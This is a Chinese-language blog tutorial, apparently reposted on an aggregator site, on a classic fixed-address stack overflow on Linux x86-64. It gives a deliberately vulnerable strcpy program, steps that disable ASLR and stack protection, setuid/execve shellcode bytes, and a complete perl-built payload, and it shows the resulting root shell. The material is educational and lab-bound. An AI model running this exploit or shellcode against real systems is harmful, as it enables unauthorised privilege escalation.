栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限固定地址的栈溢出攻击

Posted raintungli

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限固定地址的栈溢出攻击相关的知识,希望对你有一定的参考价值。

有漏洞的代码

什么是固定地址,请参考博客系列中的三(linux下的进程布局)

首先我们要先设置linux的系统参数

echo 0 >/proc/sys/kernel/randomize_va_space

让程序每次的分配的栈的空间地址是相同的,然后写一个简单的有漏洞的程序

命名为:

vulnerable.c

#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)

char buffer[500];
printf("buf's 0x%8x\\n",&buffer);
strcpy(buffer, argv[1]);
return 0;


为什么要打印出数组的地址?

因为我们要给数组注入shellcode, 并且目标是把栈中的函数返回地址指向我们的数组开始的地址,那这样rip就会顺着这个数组的内容开始执行,虽然前面说的我们设置了参数为0的randomize_va_space,但是结果是不同的用户执行还是会有不同的起始地址(但对同一个用户执行多次的结果还是一致),为了方便攻击,我们直接打印出开始地址,这样减少猜测的时间。


这一次栈攻击的几个注意点

1. 充分利用指令x90

在反汇编的代码的时候,我们会看到大量的 x90 的opcode 代表的汇编是nop,(No Operation)这是一个空指令,代表的是什么也不执行,但占用一个指令运行的时间。

在进行栈攻击的时候使用这个指令的意义就是有的时候可能会指错数组的地址,但如果我们给数组里填充了大量的nop指令,就是不论指到数组的那个位置都会通过运行nop最后执行到我们想要执行的shellcode.


2. 填充的数组里的内容不能出现x0

因为x0位数组复制的结束符,那意味着strcpy 不会复制x0后面的内容


2. 我们要攻击的shellcode 

在前面的系列第2篇中,我们已经准备好了我们准备攻击的shellcode 的opcode了

\\x48\\x31\\xff\\x48\\x31\\xc0\\xb0\\x69\\x0f\\x05\\x48\\x31\\xd2\\x48\\xbb\\xff\\x2f\\x62
\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xeb\\x08\\x53\\x48\\x89\\xe7\\x48\\x31\\xc0\\x50\\x57
\\x48\\x89\\xe6\\xb0\\x3b\\x0f\\x05

3. 计算我们要覆盖的栈中的函数返回地址的位置

先看看main函数的汇编

  400504:	55                   	push   %rbp
  400505:	48 89 e5             	mov    %rsp,%rbp
  400508:	48 81 ec 10 02 00 00 	sub    $0x210,%rsp
  40050f:	89 bd fc fd ff ff    	mov    %edi,-0x204(%rbp)
  400515:	48 89 b5 f0 fd ff ff 	mov    %rsi,-0x210(%rbp)
..
  400549:       48 8d 85 00 fe ff ff lea    -0x200(%rbp),%rax
  400550:       48 89 d6                mov    %rdx,%rsi
  400553:       48 89 c7                mov    %rax,%rdi
  400556:       e8 b5 fe ff ff          callq  400410 <strcpy@plt>

其中lea -0x200(%rbp),%rax 

和mov %rax,%rdi

这是把数组的首地址传给strcpy,也就是-0x200(%rbp)这个地址,计算0x200是十进制 512, 整个数组的起始地址是%rbp-0x200, 而rbp是这个函数栈的基地址,而在上移8个byte是上个函数的执行到的位置地址,也就是要覆盖前面的 512+8=520的位置,这个位置为退出函数后rip的执行地址的起始位置。

我们来开始构造数组里的内容

`perl -e 'print "\\x90"x16;print "\\x48\\x31\\xff\\x48\\x31\\xc0\\xb0\\x69\\x0f\\x05\\x48\\x31\\xd2\\x48\\xbb\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xeb\\x08\\x53\\x48\\x89\\xe7\\x48\\x31\\xc0\\x50\\x57\\x48\\x89\\xe6\\xb0\\x3b\\x0f\\x05";print "\\x90"x461;print "\\x50\\xde\\xff\\xff\\xff\\x7f"'`

shellcode 的opcode 有43个byte, x90填充了共16+461个 也就是520 

而最后面的 print "\\x50\\xde\\xff\\xff\\xff\\x7f"' 就是我们想覆盖的地址,我们把它改成&buffer的首地址。这样当函数main退出后,rip 将会指向地址0x7fffffffde50,而这个地址是buffer数组的首地址,接着rip开始顺着数组里的内容执行,那我们的shellcode就顺利的被执行了。

4. 编译中的参数gcc -z execstack

gcc 默认是关闭execstack参数的,也就是不允许在栈里执行代码,所以我们在编译的时候必须要打开


演绎一次攻击

gcc -z execstack -o vulnerable vulnerable.c
chmod u+s vulnerable
su test
./vulnerable `perl -e 'print "\\x90"x530'`
buf's 0xffffde80 //这就是我们要找的地址
Segmentation fault
./vulnerable `perl -e 'print "\\x90"x16;print "\\x48\\x31\\xff\\x48\\x31\\xc0\\xb0\\x69\\x0f\\x05\\x48\\x31\\xd2\\x48\\xbb
\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xeb\\x08\\x53\\x48\\x89\\xe7\\x48\\x31\\xc0\\x50\\x57\\x48\\x89
\\xe6\\xb0\\x3b\\x0f\\x05";print "\\x90"x461;print "\\x80\\xde\\xff\\xff\\xff\\x7f"'`
sh-4.1#whoami
root

wammmm.....

你看到了什么? 你变成了root, 你从test轻易的变成了root,这就是完成了一次完美的栈溢出攻击


栈攻击并不简单

其实能完成栈攻击并不简单,我们需要具备多个条件在这次攻击中

首先要具备可以在栈上执行的代码

其次buffer的数组也要够长,能够塞满我们的攻击代码,我们的攻击代码有43个byte

最重要的一点我们使用0这个randomize_va_space 的参数,保证了每次运行的时候数组的地址是一样的。

当然为了变成root,我们同时也需要这个程序具有s的权限


以上是关于栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限固定地址的栈溢出攻击的主要内容,如果未能解决你的问题,请参考以下文章

Linux中的保护机制

20179203 《Linux内核原理与分析》第十二周作业

20179223《Linux内核原理与分析》第十二周学习笔记

浅析缓冲区溢出漏洞的利用与Shellcode编写

Heap Spray:堆与栈的协同攻击

堆栈认知——栈溢出实例(ret2shellcode)